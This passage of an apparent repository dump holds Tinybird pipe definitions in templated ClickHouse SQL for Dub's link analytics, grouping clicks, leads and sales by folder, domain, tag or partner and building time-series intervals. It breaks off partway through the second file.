    "content": "NODE workspace_links\nSQL >\n\n    %\n    SELECT\n        link_id,\n        -- here we split tag_ids out of the multiIf because arrayJoin explodes rows\n        if(\n            {{ String(groupBy) }} = 'top_link_tags',\n            arrayJoin(tag_ids),\n            multiIf(\n                {{ String(groupBy) }} = 'top_folders',\n                folder_id,\n                {{ String(groupBy) }} = 'top_domains',\n                domain,\n                {{ String(groupBy) }} = 'top_partners',\n                partner_id,\n               {{ String(groupBy) }} = 'top_groups',\n                partner_group_id,\n                partner_id\n            )\n        ) AS groupByField\n    FROM dub_links_metadata_latest FINAL\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n        AND deleted == 0\n        AND multiIf(\n            {{ String(groupBy) }} = 'top_folders',\n            folder_id != '',\n            {{ String(groupBy) }} = 'top_domains',\n            domain != '',\n            {{ String(groupBy) }} = 'top_link_tags',\n            length(tag_ids) > 0,\n            {{ String(groupBy) }} = 'top_partners',\n            partner_id != '',\n            {{ String(groupBy) }} = 'top_groups',\n            partner_group_id != '',\n            partner_id != ''\n        )\n        {% if defined(programId) %} AND program_id = {{ programId }} {% end %}\n        {% if defined(partnerId) %}\n            {% if defined(partnerIdOperator) and String(partnerIdOperator) == 'NOT IN' %}\n                AND partner_id NOT IN {{ Array(partnerId, 'String') }}\n            {% else %}\n                AND partner_id IN {{ Array(partnerId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(groupId) %}\n            {% if defined(groupIdOperator) and String(groupIdOperator) == 'NOT IN' %}\n                AND partner_group_id NOT IN {{ Array(groupId, 'String') }}\n            {% else %}\n                AND partner_group_id IN {{ Array(groupId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(tenantId) %}\n            {% if defined(tenantIdOperator) and String(tenantIdOperator) == 'NOT IN' %}\n                AND tenant_id NOT IN {{ Array(tenantId, 'String') }}\n            {% else %}\n                AND tenant_id IN {{ Array(tenantId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(domain) %}\n            {% if defined(domainOperator) and String(domainOperator) == 'NOT IN' %}\n                AND domain NOT IN {{ Array(domain, 'String') }}\n            {% else %}\n                AND domain IN {{ Array(domain, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(tagId) %}\n            {% if defined(tagIdOperator) and String(tagIdOperator) == 'NOT IN' %}\n                AND length(arrayFilter(x -> x NOT IN {{ Array(tagId, 'String') }}, tag_ids)) = length(tag_ids)\n            {% else %}\n                AND arrayIntersect(tag_ids, {{ Array(tagId, 'String') }}) != []\n            {% end %}\n        {% end %}\n        {% if defined(folderId) %}\n            {% if defined(folderIdOperator) and String(folderIdOperator) == 'NOT IN' %}\n                AND folder_id NOT IN {{ Array(folderId, 'String') }}\n            {% else %}\n                AND folder_id IN {{ Array(folderId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(root) %}\n            {% if Boolean(root) == 1 %} AND key = '_root' {% else %} AND key != '_root' {% end %}\n        {% end %}\n\n\n\nNODE group_by_link_metadata_clicks\nSQL >\n\n    %\n    SELECT wl.groupByField as groupByField, COUNT(*) AS clicks\n    FROM dub_click_events_mv AS ce\n    JOIN workspace_links AS wl ON ce.link_id = wl.link_id\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n        {% if defined(linkId) %}\n            {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                AND ce.link_id NOT IN {{ Array(linkId, 'String') }}\n            {% else %}\n                AND ce.link_id IN {{ Array(linkId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(region) %} AND region = {{ region }} {% end %}\n        {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n        {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\n        {% if defined(filters) %}\n            {% for item in JSON(filters, '[]') %}\n                {% if item.get('field', '') %}\n                    {% set field = item.get('field', '') %}\n                    {% set operator = item.get('operator', 'IN') %}\n                    {% set values = item.get('values', []) %}\n                    {% if field == 'country' %}\n                        {% if operator == 'IN' %} AND country IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND country NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'city' %}\n                        {% if operator == 'IN' %} AND city IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND city NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'continent' %}\n                        {% if operator == 'IN' %} AND continent IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND continent NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'device' %}\n                        {% if operator == 'IN' %} AND device IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND device NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'browser' %}\n                        {% if operator == 'IN' %} AND browser IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND browser NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'os' %}\n                        {% if operator == 'IN' %} AND os IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND os NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'trigger' %}\n                        {% if operator == 'IN' %} AND trigger IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND trigger NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'referer' %}\n                        {% if operator == 'IN' %} AND referer IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND referer NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'refererUrl' %}\n                        {% if operator == 'IN' %} AND splitByString('?', referer_url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'url' %}\n                        {% if operator == 'IN' %} AND splitByString('?', url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'utm_source' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_medium' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_campaign' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_term' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_content' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'domain' %}\n                        {# domain is already filtered at workspace_links node level #}\n                    {% elif field == 'tagId' %}\n                        {# tagId is already filtered at workspace_links node level #}\n                    {% elif field == 'folderId' %}\n                        {# folderId is already filtered at workspace_links node level #}\n                    {% end %}\n                {% end %}\n            {% end %}\n        {% end %}\n    GROUP BY wl.groupByField\n    ORDER BY clicks DESC\n    LIMIT 5000\n\n\n\nNODE group_by_link_metadata_leads\nSQL >\n\n    %\n    SELECT wl.groupByField as groupByField, COUNT(*) AS leads\n    FROM dub_lead_events_mv AS le\n    JOIN workspace_links AS wl ON le.link_id = wl.link_id\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n        {% if defined(linkId) %}\n            {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                AND le.link_id NOT IN {{ Array(linkId, 'String') }}\n            {% else %}\n                AND le.link_id IN {{ Array(linkId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(customerId) %} AND customer_id = {{ String(customerId) }} {% end %}\n        {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n        {% if defined(country) %} AND country = {{ country }} {% end %}\n        {% if defined(region) %} AND region = {{ region }} {% end %}\n        {% if defined(city) %} AND city = {{ city }} {% end %}\n        {% if defined(device) %} AND device = {{ device }} {% end %}\n        {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n        {% if defined(os) %} AND os = {{ os }} {% end %}\n        {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n        {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n        {% if defined(utm_source) %}\n            AND url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n        {% end %}\n        {% if defined(utm_medium) %}\n            AND url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n        {% end %}\n        {% if defined(utm_campaign) %}\n            AND url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n        {% end %}\n        {% if defined(utm_term) %}\n            AND url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n        {% end %}\n        {% if defined(utm_content) %}\n            AND url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n        {% end %}\n        {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n        {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n        {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\n        {% if defined(filters) %}\n            {% for item in JSON(filters, '[]') %}\n                {% if item.get('field', '') %}\n                    {% set field = item.get('field', '') %}\n                    {% set operator = item.get('operator', 'IN') %}\n                    {% set values = item.get('values', []) %}\n                    {% if field == 'country' %}\n                        {% if operator == 'IN' %} AND country IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND country NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'city' %}\n                        {% if operator == 'IN' %} AND city IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND city NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'continent' %}\n                        {% if operator == 'IN' %} AND continent IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND continent NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'device' %}\n                        {% if operator == 'IN' %} AND device IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND device NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'browser' %}\n                        {% if operator == 'IN' %} AND browser IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND browser NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'os' %}\n                        {% if operator == 'IN' %} AND os IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND os NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'trigger' %}\n                        {% if operator == 'IN' %} AND trigger IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND trigger NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'referer' %}\n                        {% if operator == 'IN' %} AND referer IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND referer NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'refererUrl' %}\n                        {% if operator == 'IN' %} AND splitByString('?', referer_url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'url' %}\n                        {% if operator == 'IN' %} AND splitByString('?', url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'utm_source' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_medium' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_campaign' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_term' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_content' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'domain' %}\n                        {% if operator == 'IN' %} AND le.link_id IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND le.link_id NOT IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% elif field == 'tagId' %}\n                        {% if operator == 'IN' %} AND le.link_id IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% elif operator == 'NOT IN' %} AND le.link_id NOT IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% end %}\n                    {% elif field == 'folderId' %}\n                        {% if operator == 'IN' %} AND le.link_id IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND le.link_id NOT IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% end %}\n                {% end %}\n            {% end %}\n        {% end %}\n    GROUP BY wl.groupByField\n    ORDER BY leads DESC\n    LIMIT 5000\n\n\n\nNODE first_sale_by_link_customer\nSQL >\n\n    %\n    SELECT workspace_id, link_id, customer_id, minMerge(first_sale_state) AS first_sale_ts\n    FROM dub_first_sale_mv\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n    GROUP BY workspace_id, link_id, customer_id\n\n\n\nNODE group_by_link_metadata_sales\nSQL >\n\n    %\n    SELECT\n        wl.groupByField AS groupByField,\n        COUNT(*) AS sales,\n        SUM(t.amount) AS saleAmount\n    FROM\n    (\n        SELECT\n            se.*,\n            if(\n                isNull(fs.first_sale_ts),\n                'new',\n                if(\n                    toUnixTimestamp64Milli(se.timestamp) = toUnixTimestamp64Milli(fs.first_sale_ts),\n                    'new',\n                    'recurring'\n                )\n            ) AS sale_type\n        FROM dub_sale_events_mv AS se\n        LEFT JOIN first_sale_by_link_customer AS fs\n            USING (workspace_id, link_id, customer_id)\n        WHERE\n            workspace_id\n            = {{\n                String(\n                    workspaceId,\n                    'cl7pj5kq4006835rbjlt2ofka',\n                    description=\"The unique ID for the workspace\",\n                    required=True,\n                )\n            }}\n            {% if defined(linkId) %}\n                {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                    AND se.link_id NOT IN {{ Array(linkId, 'String') }}\n                {% else %}\n                    AND se.link_id IN {{ Array(linkId, 'String') }}\n                {% end %}\n            {% end %}\n            {% if defined(customerId) %} AND se.customer_id = {{ String(customerId) }} {% end %}\n            {% if defined(continent) %} AND se.continent = {{ continent }} {% end %}\n            {% if defined(country) %} AND se.country = {{ country }} {% end %}\n            {% if defined(region) %} AND se.region = {{ region }} {% end %}\n            {% if defined(city) %} AND se.city = {{ city }} {% end %}\n            {% if defined(device) %} AND se.device = {{ device }} {% end %}\n            {% if defined(browser) %} AND se.browser = {{ browser }} {% end %}\n            {% if defined(os) %} AND se.os = {{ os }} {% end %}\n            {% if defined(referer) %} AND se.referer = {{ referer }} {% end %}\n            {% if defined(refererUrl) %} AND splitByString('?', se.referer_url)[1] = {{ refererUrl }} {% end %}\n            {% if defined(utm_source) %}\n                AND se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n            {% end %}\n            {% if defined(utm_medium) %}\n                AND se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n            {% end %}\n            {% if defined(utm_campaign) %}\n                AND se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n            {% end %}\n            {% if defined(utm_term) %}\n                AND se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n            {% end %}\n            {% if defined(utm_content) %}\n                AND se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n            {% end %}\n            {% if defined(url) %} AND splitByString('?', se.url)[1] = {{ url }} {% end %}\n            {% if defined(start) %} AND se.timestamp >= {{ DateTime64(start) }} {% end %}\n            {% if defined(end) %} AND se.timestamp <= {{ DateTime64(end) }} {% end %}\n            {% if defined(filters) %}\n                {% for item in JSON(filters, '[]') %}\n                    {% if item.get('field', '') %}\n                        {% set field = item.get('field', '') %}\n                        {% set operator = item.get('operator', 'IN') %}\n                        {% set values = item.get('values', []) %}\n                        {% if field == 'country' %}\n                            {% if operator == 'IN' %} AND se.country IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.country NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'city' %}\n                            {% if operator == 'IN' %} AND se.city IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.city NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'continent' %}\n                            {% if operator == 'IN' %} AND se.continent IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.continent NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'device' %}\n                            {% if operator == 'IN' %} AND se.device IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.device NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'browser' %}\n                            {% if operator == 'IN' %} AND se.browser IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.browser NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'os' %}\n                            {% if operator == 'IN' %} AND se.os IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.os NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'trigger' %}\n                            {% if operator == 'IN' %} AND se.trigger IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.trigger NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'referer' %}\n                            {% if operator == 'IN' %} AND se.referer IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.referer NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'refererUrl' %}\n                            {% if operator == 'IN' %} AND splitByString('?', se.referer_url)[1] IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND splitByString('?', se.referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'url' %}\n                            {% if operator == 'IN' %} AND splitByString('?', se.url)[1] IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND splitByString('?', se.url)[1] NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'utm_source' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'utm_medium' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'utm_campaign' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'utm_term' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'utm_content' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'domain' %}\n                            {% if operator == 'IN' %} AND se.link_id IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                            {% elif operator == 'NOT IN' %} AND se.link_id NOT IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                            {% end %}\n                        {% elif field == 'tagId' %}\n                            {% if operator == 'IN' %} AND se.link_id IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                            {% elif operator == 'NOT IN' %} AND se.link_id NOT IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                            {% end %}\n                        {% elif field == 'folderId' %}\n                            {% if operator == 'IN' %} AND se.link_id IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                            {% elif operator == 'NOT IN' %} AND se.link_id NOT IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                            {% end %}\n                        {% end %}\n                    {% end %}\n                {% end %}\n            {% end %}\n    ) AS t\n    JOIN workspace_links AS wl\n        ON t.link_id = wl.link_id\n    WHERE\n        true\n        {% if defined(saleType) %} AND t.sale_type = {{ String(saleType) }} {% end %}\n    GROUP BY wl.groupByField\n    ORDER BY saleAmount DESC\n    LIMIT 5000\n\n\n\nNODE group_by_link_metadata_composite\nSQL >\n\n    %\n        SELECT c.groupByField as groupByField, c.clicks as clicks, l.leads as leads, s.sales as sales, s.saleAmount as saleAmount\n        FROM group_by_link_metadata_clicks AS c\n        LEFT JOIN group_by_link_metadata_leads AS l ON c.groupByField = l.groupByField\n        LEFT JOIN group_by_link_metadata_sales AS s ON c.groupByField = s.groupByField\n        ORDER BY saleAmount DESC\n\n\n\nNODE endpoint\nSQL >\n\n    %\n    SELECT *\n    FROM\n        {% if eventType == 'clicks' %} group_by_link_metadata_clicks\n        {% elif eventType == 'leads' %} group_by_link_metadata_leads\n        {% elif eventType == 'sales' %}group_by_link_metadata_sales \n        {% elif eventType == 'composite' %}group_by_link_metadata_composite\n        {% else %} group_by_link_metadata_clicks\n        {% end %}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v4_timeseries.pipe",
    "content": "DESCRIPTION >\n\tTimeseries data\n\n\nTAGS \"Dub Endpoints\"\n\nNODE month_intervals\nSQL >\n\n    %\n        WITH\n            toStartOfMonth(\n                toDateTime64({{ DateTime64(start, '2024-02-24 00:00:00.000') }}, 3),\n                {{ String(timezone, 'UTC') }}\n            ) AS start,\n            toStartOfMonth(\n                toDateTime64({{ DateTime64(end, '2024-05-23 00:00:00.000') }}, 3),\n                {{ String(timezone, 'UTC') }}\n            ) AS\n        end,\n        dateDiff('month', start, end) + 1 AS months_diff\n        SELECT\n            arrayJoin(\n                arrayMap(\n                    x -> toDateTime64(start + toIntervalMonth(x), 3, {{ String(timezone, 'UTC') }}),\n                    range(0, months_diff)\n                )\n            ) as interval\n\n\n\nNODE day_intervals\nSQL >\n\n    %\n    WITH\n        toStartOfDay(\n            toDateTime64({{ DateTime64(start, '2024-02-24 00:00:00.000') }}, 3),\n            {{ String(timezone, 'UTC') }}\n        ) AS start,\n        toStartOfDay(\n            toDateTime64({{ DateTime64(end, '2024-05-23 00:00:00.000') }}, 3),\n            {{ String(timezone, 'UTC') }}\n        ) AS\n    end,\n    dateDiff('day', start, end\n    ) + 1 AS days_diff\n    SELECT\n        arrayJoin(\n            arrayMap(\n                x -> toDateTime64(start + toIntervalDay(x), 3, {{ String(timezone, 'UTC') }}),\n                range(0, days_diff)\n            )\n        ) as interval\n\n\n\nNODE hour_intervals\nSQL >\n\n    %\n        WITH\n            toStartOfHour(\n                toDateTime64({{ DateTime64(start, '2024-05-22 00:00:00.000') }}, 3),\n                {{ String(timezone, 'UTC') }}\n            ) AS start,\n            toStartOfHour(\n                toDateTime64({{ DateTime64(end, '2024-05-23 00:00:00.000') }}, 3),\n                {{ String(timezone, 'UTC') }}\n            ) AS\n        end\n        SELECT\n            arrayJoin(\n                arrayMap(x -> toDateTime64(x, 3), range(toUInt32(start), toUInt32(end + 3600), 3600)\n            )\n        ) as interval\n\n\n\nNODE workspace_links\nSQL >\n\n    %\n    SELECT link_id\n    FROM dub_links_metadata_latest FINAL\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n        AND deleted == 0\n        {% if defined(programId) %} AND program_id = {{ programId }} {% end %}\n        {% if defined(partnerId) %}\n            {% if defined(partnerIdOperator) and String(partnerIdOperator) == 'NOT IN' %}\n                AND partner_id NOT IN {{ Array(partnerId, 'String') }}\n            {% else %}\n                AND partner_id IN {{ Array(partnerId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(groupId) %}\n            {% if defined(groupIdOperator) and String(groupIdOperator) == 'NOT IN' %}\n                AND partner_group_id NOT IN {{ Array(groupId, 'String') }}\n            {% else %}\n                AND partner_group_id IN {{ Array(groupId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(tenantId) %}\n            {% if defined(tenantIdOperator) and String(tenantIdOperator) == 'NOT IN' %}\n                AND tenant_id NOT IN {{ Array(tenantId, 'String') }}\n            {% else %}\n                AND tenant_id IN {{ Array(tenantId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(domain) %}\n            